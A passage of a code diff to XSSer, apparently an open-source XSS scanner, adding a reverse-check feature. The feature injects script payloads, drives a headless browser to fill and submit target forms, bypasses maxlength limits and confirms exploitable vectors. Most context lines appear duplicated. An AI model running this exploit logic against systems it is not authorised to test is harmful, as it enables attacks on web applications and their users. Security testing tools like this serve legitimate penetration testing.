+            tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
+            tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
             tok_url+= '#' + self_url
             tok_url+= '#' + self_url
         elif '<PAYLOAD>' in dest_url:
         elif '<PAYLOAD>' in dest_url:
             tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
             tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
@@ -1537,15 +1608,79 @@ class xsser(EncoderDecoder, XSSerReporter):
             tok_url = dest_url.replace('PAYLOAD', self_url)
             tok_url = dest_url.replace('PAYLOAD', self_url)
         elif 'url' in dest_url and 'PAYLOAD' in dest_url:
         elif 'url' in dest_url and 'PAYLOAD' in dest_url:
             tok_url = dest_url.replace('PAYLOAD', self_url)
             tok_url = dest_url.replace('PAYLOAD', self_url)
-        self.final_attacks[hashing] = {'url': tok_url}
-        if tok_url:
-            try:
-                if self.options.reverseopen:
-                    self.report("\n" + "-"*25+"\n")
-                    self.report("[Info] Launching web browser (default) with a 'token' url...")
-                    self._webbrowser.open(tok_url)
-            except:
-                pass
+        return tok_url
+
+    def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
+        tok_url = None
+        tok_total = []
+        if self.hash_found:
+            for l in self.hash_found:
+                vector_found = l[2]
+                hash_found = l[3]
+                if hashing in hash_found:
+                    if not self.options.postdata: # GET
+                        tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
+                    else: # POST
+                        tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
+                    if tok_url:
+                        self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
+
+    def generate_headless_cookies(self, orig_url): # generate cookies for headless browser engine
+        self.driver.get(orig_url)
+        r_cookies = self.driver.get_cookies() # get cookies
+        if self.options.cookie:
+            from http.cookies import SimpleCookie # import SimpleCookie
+            cookie = SimpleCookie()
+            cookie.load(self.options.cookie)
+            for key, morsel in cookie.items():
+                for c in r_cookies:
+                    if key == c["name"]:
+                        c["value"] = str(morsel.value)
+            for c in r_cookies:
+                self.driver.add_cookie(c) # add cookies to driver
+
+    def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
+        try:
+            if self.cookie_set_flag == False:
+                self.generate_headless_cookies(orig_url)
+                self.cookie_set_flag = True # cookie has been set!
+            if self.options.postdata: # GET + web forms scrapping + POST
+                self.driver.get(orig_url) # GET request to store forms
+                tok_parsed = parse_qs(tok_url)
+                param_found = []
+                for param_parsed in tok_parsed: # find params
+                    param = self.driver.find_element_by_name(param_parsed) # by name
+                    if not param:
+                        param = self.driver.find_element_by_id(param_parsed) # by id
+                    if param:
+                        value = str(tok_parsed[param_parsed])
+                        if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
+                            value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
+                        if "<script>document.location=document.location.hash.substring(1)</script>" in value:
+                            value = value.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
+                        if "['" in value:
+                            value = value.replace("['", "")
+                        if "']" in value:
+                            value = value.replace("']", "")
+                        param.send_keys(str(value))
+                        param_found.append(param)
+                        max_length = param.get_attribute("maxlength")
+                        if max_length: # bypass max length filters by changing DOM | black magic!
+                            self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
+                if len(param_found) == len(tok_parsed): # form fully filled!
+                    login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
+                    login.click() # click it!
+            else: # GET
+                self.driver.get(tok_url)
+            if tok_url not in self.final_attacks: 
+                self.final_attacks[hashing] = {'url': tok_url}
+                self.token_arrived_flag = True
+            else:
+                self.token_arrived_flag = False
+        except:
+            self.token_arrived_flag = False
+            if DEBUG == True:
+                traceback.print_exc()
 
 
     def _report_attack_failure(self, curl_handle, dest_url, payload,\
     def _report_attack_failure(self, curl_handle, dest_url, payload,\
                                query_string, orig_url):
                                query_string, orig_url):
@@ -1918,9 +2053,10 @@ class xsser(EncoderDecoder, XSSerReporter):
                 print("\nTrying to update to the latest stable version...\n")
                 print("\nTrying to update to the latest stable version...\n")
                 Updater() 
                 Updater() 
             except:
             except:
-                print("\nSomething was wrong!. You should clone XSSer manually with:\n")
+                print("Not any .git repository found!\n")
+                print("="*30)
+                print("\nTo have working this feature, you should clone XSSer with:\n")
                 print("$ git clone https://code.03c8.net/epsylon/xsser\n")
                 print("$ git clone https://code.03c8.net/epsylon/xsser\n")
-
                 print("\nAlso you can try this other mirror:\n")
                 print("\nAlso you can try this other mirror:\n")
                 print("$ git clone https://github.com/epsylon/xsser\n")
                 print("$ git clone https://github.com/epsylon/xsser\n")
             return []
             return []
@@ -2237,7 +2373,8 @@ class xsser(EncoderDecoder, XSSerReporter):
         def _error_cb(request, error):
         def _error_cb(request, error):
             for reporter in self._reporters:
             for reporter in self._reporters:
                 reporter.mosquito_crashed(url, str(error[0]))
                 reporter.mosquito_crashed(url, str(error[0]))
-            traceback.print_tb(error[2])
+            if DEBUG == True:
+                traceback.print_tb(error[2])
 
 
         def crawler_main(args):
         def crawler_main(args):
             return crawler.crawl(*args)
             return crawler.crawl(*args)
@@ -2259,7 +2396,7 @@ class xsser(EncoderDecoder, XSSerReporter):
             return func(*args)
             return func(*args)
         except Exception as e:
         except Exception as e:
             self.report(error)
             self.report(error)
-            if DEBUG:
+            if DEBUG == True:
                 traceback.print_exc()
                 traceback.print_exc()
  
  
     def check_trace(self):
     def check_trace(self):
@@ -2563,18 +2700,23 @@ class xsser(EncoderDecoder, XSSerReporter):
         """
         """
         Run xsser.
         Run xsser.
         """
         """
-        #self._landing = False
+        self.token_arrived_flag = False # used for --reverse-check
+        self.success_arrived_flag = False # used for --reverse-check
+        self.token_arrived_hash = None # used for --reverse-check
+        self.token_arrived_hashes = [] # used for --reverse-check
+
         for reporter in self._reporters:
         for reporter in self._reporters:
             reporter.start_attack()
             reporter.start_attack()
+
         if opts:
         if opts:
             options = self.create_options(opts)
             options = self.create_options(opts)
             self.set_options(options)
             self.set_options(options)
-        if not self.mothership and not self.hub:
+        if not self.hub:
             self.hub = HubThread(self)
             self.hub = HubThread(self)
             self.hub.start()
             self.hub.start()
+
         options = self.options
         options = self.options
         if options:
         if options:
-            # step -1; order attacks
             if self.options.hash is True: # not fuzzing/heuristic when hash precheck
             if self.options.hash is True: # not fuzzing/heuristic when hash precheck
                 self.options.fuzz = False
                 self.options.fuzz = False
                 self.options.script = False
                 self.options.script = False
@@ -2599,7 +2741,6 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.options.Cem = self.options.Cem.replace(" ","")
                 self.options.Cem = self.options.Cem.replace(" ","")
         else:
         else:
             pass
             pass
-        # step 0: third party tricks
         try:
         try:
             if self.options.imx: # create -fake- image with code injected
             if self.options.imx: # create -fake- image with code injected
                 p = self.optionParser
                 p = self.optionParser
@@ -2645,6 +2786,9 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.report("[XST Attack!] checking for HTTP TRACE method ...")
                 self.report("[XST Attack!] checking for HTTP TRACE method ...")
                 self.report('='*75)
                 self.report('='*75)
             self.check_trace()
             self.check_trace()
+ 
+        if self.options.reversecheck or self.options.dom: # generate headless embed web browser
+            self.driver = self.create_headless_embed_browser()
 
 
         if options.checktor:
         if options.checktor:
             url = self.check_tor_url # TOR status checking site
             url = self.check_tor_url # TOR status checking site
@@ -2666,24 +2810,24 @@ class xsser(EncoderDecoder, XSSerReporter):
                 agents.append(line)
                 agents.append(line)
             agent = random.choice(agents).strip() # set random user-agent
             agent = random.choice(agents).strip() # set random user-agent
             referer = "127.0.0.1"
             referer = "127.0.0.1"
-            print("\nSending request to: " + url + "\n")
+            print("\n[Info] Sending request to: " + url + "\n")
             print("-"*25+"\n")
             print("-"*25+"\n")
             headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
             headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
             try:
             try:
-                import urllib.request, urllib.error, urllib.parse
                 req = urllib.request.Request(url, None, headers)
                 req = urllib.request.Request(url, None, headers)
-                tor_reply = urllib.request.urlopen(req).read()
+                tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
                 your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
                 your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
                 if not tor_reply or 'Congratulations' not in tor_reply:
                 if not tor_reply or 'Congratulations' not in tor_reply:
                     print("It seems that Tor is not properly set.\n")
                     print("It seems that Tor is not properly set.\n")
-                    print(("IP address appears to be: " + your_ip + "\n"))
+                    print("IP address appears to be: " + your_ip + "\n")
                 else:
                 else:
                     print("Congratulations!. Tor is properly being used :-)\n")
                     print("Congratulations!. Tor is properly being used :-)\n")
-                    print(("IP address appears to be: " + your_ip + "\n"))
+                    print("IP address appears to be: " + your_ip + "\n")
             except:
             except:
                 print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
                 print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
                 sys.exit(2) # return
                 sys.exit(2) # return
 
 
+        # step 0: get workers
         nthreads = max(1, abs(options.threads))
         nthreads = max(1, abs(options.threads))
         nworkers = len(self.pool.workers)
         nworkers = len(self.pool.workers)
         if nthreads != nworkers:
         if nthreads != nworkers:
@@ -2691,7 +2835,6 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.pool.dismissWorkers(nworkers-nthreads)
                 self.pool.dismissWorkers(nworkers-nthreads)
             else:
             else:
                 self.pool.createWorkers(nthreads-nworkers)
                 self.pool.createWorkers(nthreads-nworkers)
-
         for reporter in self._reporters:
         for reporter in self._reporters:
             reporter.report_state('scanning')
             reporter.report_state('scanning')
         
         
@@ -2741,25 +2884,57 @@ class xsser(EncoderDecoder, XSSerReporter):
             time.sleep(0.2)
             time.sleep(0.2)
             for reporter in self._reporters:
             for reporter in self._reporters:
                 reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
                 reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
-        if self.final_attacks:
-            self.report("-"*25+"\n")
-            self.report("[Info] Generating 'token' url:\n")
+        if self.final_attacks and self.options.reversecheck: # try a --reverse-check
+            final_attack_payloads = []
+            self.report("="*45)
+            self.report("[*] Reverse Check(s) Results:")
+            self.report("="*45 + "\n")
             for final_attack in self.final_attacks.values():
             for final_attack in self.final_attacks.values():
-                if not final_attack['url'] == None:
-                    self.report(final_attack['url'] , "\n")
-                self.report("="*50+"\n")
-                self.report("[Info] CONGRATULATIONS!!! <-> This vector is doing a remote connection... So, is: 100% VULNERABLE! ;-)\n")
-                self.report(",".join(self.successful_urls), "\n")
-                self.report("="*50 + "\n")
+                if final_attack not in final_attack_payloads:
+                    final_attack_payloads.append(final_attack)
+            for final in final_attack_payloads:
+                if self.hash_found:
+                    for l in self.hash_found:
+                        hashing = l[3]
+                        for k, v in final.items():
+                            if 'success/'+hashing in v: # find XSS "remote poison" payload!
+                                if not self.options.postdata: # GET
+                                    self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
+                                else: # POST
+                                    self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
+                                if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
+                                    v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
+                                if "<script>document.location=document.location.hash.substring(1)</script>" in v:
+                                    v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")         
+                                self.report(v , "\n")
+                                self.report("-"*25+"\n")
+                                self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
+                                if self.token_arrived_flag == True and self.token_arrived_hash:
+                                    self.report("[Info] Validating HASHES:\n")
+                                    if self.success_arrived_flag == False:
+                                        self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
+                                    else:
+                                        self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
+                                    self.report("-"*25+"\n")
+                                    if self.options.postdata: # POST
+                                        self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
+                                    else: # GET
+                                        self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
+                                    self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
+                                else:
+                                    self.report("[Error] Remote XSS exploit [--reverse-check]  has FAILED! -> [PASSING!]\n")
+                self.report("-"*25+"\n")
+        if self.options.reversecheck or self.options.dom:
+            try:
+                self.driver.close() # end headless embed web browser driver!
+            except:
+                pass
         for reporter in self._reporters:
         for reporter in self._reporters:
-            reporter.end_attack()
-        self.report("="*50)
+            reporter.end_attack() # end reports
         if self.mothership:
         if self.mothership:
-            self.mothership.remove_reporter(self)
-            self.report("Mosquito(es) landed!")
-        else:
-            self.report("Mosquito(es) landed!")
-        self.report("="*50)
+            self.mothership.remove_reporter(self) # end mothership
+        if self.hub:
+            self.land() # end token hub server
         self.print_results()
         self.print_results()
 
 
     def sanitize_urls(self, urls):
     def sanitize_urls(self, urls):
@@ -2847,7 +3022,7 @@ class xsser(EncoderDecoder, XSSerReporter):
 
 
     def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
     def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
         """
         """
-        Generate a real attack url by using data from a successful test.
+        Generate a real attack url using data from a successful test.
 
 
 	    This method also applies DOM stealth mechanisms.
 	    This method also applies DOM stealth mechanisms.
         """
         """
@@ -2883,8 +3058,7 @@ class xsser(EncoderDecoder, XSSerReporter):
         return dest_url
         return dest_url
 
 
     def token_arrived(self, attack_hash):
     def token_arrived(self, attack_hash):
-        if not self.mothership:
-            # only the mothership calls on token arriving.
+        if not self.mothership: # only mothership calls on token arrival
             self.final_attack_callback(attack_hash)
             self.final_attack_callback(attack_hash)
 
 
     def final_attack_callback(self, attack_hash):
     def final_attack_callback(self, attack_hash):
@@ -2900,15 +3074,6 @@ class xsser(EncoderDecoder, XSSerReporter):
 
 
     def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
     def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
         real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
         real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
-        #generate_shorturls = self.options.shorturls
-        #if generate_shorturls:
-        #    shortener = ShortURLReservations(self.options.shorturls)
-        #    if self.options.finalpayload or self.options.finalremote or self.options.b64 or self.options.dos:
-        #        shorturl = shortener.process_url(real_attack_url)
-        #        self.report("[/] Shortered URL (Final Attack):", shorturl)
-        #    else:
-        #        shorturl = shortener.process_url(dest_url)
-        #        self.report("[/] Shortered URL (Injection):", shorturl)
         return real_attack_url
         return real_attack_url
 
 
     def report(self, *args):
     def report(self, *args):
@@ -2923,7 +3088,7 @@ class xsser(EncoderDecoder, XSSerReporter):
         """
         """
         Print results from attack.
         Print results from attack.
         """
         """
-        self.report('\n' + '='*75)
+        self.report('='*75)
         total_injections = len(self.hash_found) + len(self.hash_notfound)
         total_injections = len(self.hash_found) + len(self.hash_notfound)
         if len(self.hash_found) + len(self.hash_notfound) == 0:
         if len(self.hash_found) + len(self.hash_notfound) == 0:
             pass
             pass
@@ -2947,10 +3112,19 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.report('='*75)
                 self.report('='*75)
                 self.report("[*] List of XSS injections:")
                 self.report("[*] List of XSS injections:")
                 self.report('='*75 + '\n')
                 self.report('='*75 + '\n')
-                if self.options.reversecheck:
-                    self.report("You have found: [ " + str(len(self.hash_found)) + " ] XSS vector(s)! -> [100% VULNERABLE]\n")
+                if len(self.hash_found) > 1:
+                    if len(self.token_arrived_hashes) > 0:
+                        if len(self.hash_found) == len(self.token_arrived_hashes):
+                            self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
+                        else:
+                            self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
+                    else:
+                        self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
                 else:
                 else:
-                    self.report("You have found: [ " + str(len(self.hash_found)) + " ] possible (without --reverse-check) XSS vector(s)!\n")
+                    if len(self.token_arrived_hashes) > 0:
+                        self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
+                    else:
+                        self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
                 self.report("---------------------" + "\n")
                 self.report("---------------------" + "\n")
         if self.options.fileoutput:
         if self.options.fileoutput:
             fout = open("XSSreport.raw", "w") # write better than append
             fout = open("XSSreport.raw", "w") # write better than append
@@ -3158,7 +3332,13 @@ class xsser(EncoderDecoder, XSSerReporter):
                     self.report("[*] Payload:", line[0])
                     self.report("[*] Payload:", line[0])
                     if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                     if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                         self.report("[*] Final Attack:", attack_url)
                         self.report("[*] Final Attack:", attack_url)
-                    self.report("[!] Status: XSS FOUND!",  "\n", '-'*50, "\n")
+                    if self.token_arrived_flag == True:
+                        self.report("[!] Status: XSS FOUND! [100% VULNERABLE]",  "\n", '-'*50, "\n")
+                    else:
+                        if self.options.reversecheck:
+                            self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]",  "\n", '-'*50, "\n")
+                        else:
+                            self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]",  "\n", '-'*50, "\n")
                 if self.options.fileoutput:
                 if self.options.fileoutput:
                     fout.write("="*75)
                     fout.write("="*75)
                     fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
                     fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
@@ -3166,14 +3346,38 @@ class xsser(EncoderDecoder, XSSerReporter):
                     for line in self.hash_found:
                     for line in self.hash_found:
                         if line[4]:
                         if line[4]:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         else:
                         else:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         fout.write("="*75 + "\n\n")
                         fout.write("="*75 + "\n\n")
             elif line[1] == "[Heuristic test]":
             elif line[1] == "[Heuristic test]":
                 if len(self.hash_found) < 11:
                 if len(self.hash_found) < 11:
@@ -3209,7 +3413,13 @@ class xsser(EncoderDecoder, XSSerReporter):
                     self.report("[!] Vulnerable:", line[1])
                     self.report("[!] Vulnerable:", line[1])
                     if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                     if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                         self.report("[*] Final Attack:", attack_url)
                         self.report("[*] Final Attack:", attack_url)
-                    self.report("[!] Status: XSS FOUND!",  "\n", '-'*50, "\n")
+                    if self.token_arrived_flag == True:
+                        self.report("[!] Status: XSS FOUND! [100% VULNERABLE]",  "\n", '-'*50, "\n")
+                    else:
+                        if self.options.reversecheck:
+                            self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]",  "\n", '-'*50, "\n")
+                        else:
+                            self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]",  "\n", '-'*50, "\n")
                 if self.options.fileoutput:
                 if self.options.fileoutput:
                     fout.write("="*75)
                     fout.write("="*75)
                     fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
                     fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
@@ -3217,16 +3427,39 @@ class xsser(EncoderDecoder, XSSerReporter):
                     for line in self.hash_found:
                     for line in self.hash_found:
                         if line[4]:
                         if line[4]:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
